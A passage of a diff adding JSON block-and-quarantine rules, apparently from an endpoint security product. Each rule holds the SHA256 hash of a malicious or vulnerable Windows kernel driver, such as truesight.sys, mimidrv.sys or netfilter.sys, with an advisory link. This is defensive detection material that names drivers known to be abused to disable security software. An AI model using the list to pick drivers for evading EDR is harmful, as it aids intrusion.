+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976800Z",
+  "creation_date": "2026-03-23T11:45:29.976802Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976808Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c8a373fff42c69f51cc4ae12295df8b75e7e29fd4956dbc3582bf284b883ddc",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6edd5a8a-4119-5801-b4db-40292f8839d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827975Z",
+  "creation_date": "2026-03-23T11:45:30.827978Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827983Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd72a998f433f807dc5ee331a52286717f787f6c5c9e22491f8bd685e0da2f66",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6ef08fe4-c3ab-5896-a9b1-a2fda92ab558",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464202Z",
+  "creation_date": "2026-03-23T11:45:30.464215Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464229Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c4c9c84b211899ceb0d18a839afa497537a7c7c01ab481965a09788a9e16590c",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6efc3165-2e4f-56e2-8964-a9876ad1855f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479650Z",
+  "creation_date": "2026-03-23T11:45:30.479651Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479657Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4a367f9af0d4995eafb7bbdb4fa60eee88e470f7192276d3d66afc58f75013e1",
+  "comment": "Malicious Kernel Driver (aka be6318413160e589080df02bb3ca6e6a.sys) [https://www.loldrivers.io/drivers/a9ab4412-d484-459b-be97-5975f5ab8094/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6efe81ff-6906-5491-b055-b2775cb049a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815069Z",
+  "creation_date": "2026-03-23T11:45:31.815072Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815081Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "12a4df784e6e897c36a4d074175c39d03c9ba5cd5ca37f27f50b70b7ab6b43a6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f208011-1eda-526c-8dae-a818d0881f57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500230Z",
+  "creation_date": "2026-03-23T11:45:31.500233Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500241Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "975092496ce4f4c728aab097f43433ce212e947e69e87f04391f6d9ab38d3a85",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f295f21-f9f8-5b86-86f3-6bfa096432bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459356Z",
+  "creation_date": "2026-03-23T11:45:30.459359Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459368Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6703400b490b35bcde6e41ce1640920251855e6d94171170ae7ea22cdd0938c0",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f2e735d-1e9f-5c96-9e6e-38231136ea15",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967381Z",
+  "creation_date": "2026-03-23T11:45:29.967383Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967389Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9804787b31e0025dd2ae9344ca1beae2e701cdf8fd77a60f424295dc9280dc89",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f2ef343-e9c8-51aa-8b2d-f3525e6c9c6f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149282Z",
+  "creation_date": "2026-03-23T11:45:31.149284Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149290Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ecf7fef0a3e19f21730760600c6fa887466ccc39f1e2dde96cada2f2e02f65d7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f313f3a-8bc2-5d1b-80ba-59a4c92405c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469600Z",
+  "creation_date": "2026-03-23T11:45:30.469603Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469612Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f424562623d0edf9b506a5f65b23427e7ec9a476570646d2a08ae9fa9fc57305",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f3853ea-c3ce-5a8d-8185-eaf4ddf94530",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829861Z",
+  "creation_date": "2026-03-23T11:45:31.829863Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829883Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "825578c10c86e4aeb9dd971df6e87becbcf3566350aedd9d296a57b9647f78e1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f3c19fd-5299-5558-993e-fcc94120d591",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141698Z",
+  "creation_date": "2026-03-23T11:45:31.141700Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141706Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65a1610e10217ccbe221fa54dd8403b632267bd82326460c918faeb5bb960058",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f3ee1eb-525c-53b8-b1cd-7c98b06564db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487254Z",
+  "creation_date": "2026-03-23T11:45:31.487256Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487262Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "afd5b0e98eacebd6ee17cb1fc7039c07651a5c218524e2714434806fe00e4263",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f400690-869a-5d92-b551-3b8aaf2b8c32",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604907Z",
+  "creation_date": "2026-03-23T11:45:29.604909Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604914Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "96a5d22ea53ee40f15528f4c19cac0b121a89b65e5c70488819c2fcd7c95d24c",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f4561ad-ea5f-54f3-a8c1-8046e0b552ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473601Z",
+  "creation_date": "2026-03-23T11:45:30.473604Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473613Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "67b4d4995c9a054e90af05d7e04baf39759c478a519a3c729cbf6ffb041ae7cb",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f4a1f5d-482e-5cfb-b96f-d16f6a3098b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159900Z",
+  "creation_date": "2026-03-23T11:45:31.159903Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159912Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "32e30d7996c58ff8a86d6da9305b3f33efd0635d3fee2b038e71ef0e8240ea62",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f4beae0-9bca-54ea-8991-88c830476179",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978318Z",
+  "creation_date": "2026-03-23T11:45:29.978320Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978326Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8d9a2363b757d3f127b9c6ed8f7b8b018e652369bc070aa3500b3a978feaa6ce",
+  "comment": "Malicious Kernel Driver (aka wantd_4.sys) [https://www.loldrivers.io/drivers/72637cb1-5ca2-4ad0-a5df-20da17b231b5/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f5d4374-cf12-54d8-a471-e3794bf03308",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832352Z",
+  "creation_date": "2026-03-23T11:45:30.832354Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832359Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19fe9e32765d6e3f4b9950d5a04970ffd65845a3eda96aacf2378c0ec401d664",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f66f970-5cbd-543c-b0e3-78b73ce09a22",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983851Z",
+  "creation_date": "2026-03-23T11:45:29.983854Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983862Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47dba240967fd0088be618163672dfbddf0138178cccd45b54037f622b221220",
+  "comment": "Vulnerable Kernel Driver (aka GLCKIO2.sys) [https://www.loldrivers.io/drivers/52ded752-2708-499e-8f37-98e4a9adc23c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f685ca9-67c4-510f-947e-9eeaa43068a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492592Z",
+  "creation_date": "2026-03-23T11:45:31.492594Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492599Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e32bca5cfb81aad5d03aece6d63089c804460e9e8a4e7d8fbd536022542d3ea9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f6cc55d-f3ff-575d-9bd2-28bcc1752717",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618373Z",
+  "creation_date": "2026-03-23T11:45:29.618375Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618380Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f2a4ddc38e68efd2eac27b2562529926f5ade93575a82e8d3e0abb2b37347257",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f6de817-e32d-585c-a3cd-090197be81a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464397Z",
+  "creation_date": "2026-03-23T11:45:30.464400Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464408Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "618b15970671700188f4102e5d0638184e2723e8f57f7e917fa49792daebdadb",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f6f724b-4d8b-5dbb-976d-006ff9d85b44",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475092Z",
+  "creation_date": "2026-03-23T11:45:31.475096Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475106Z",
+  "rule_level": null,
+  "rule_level_override": null,
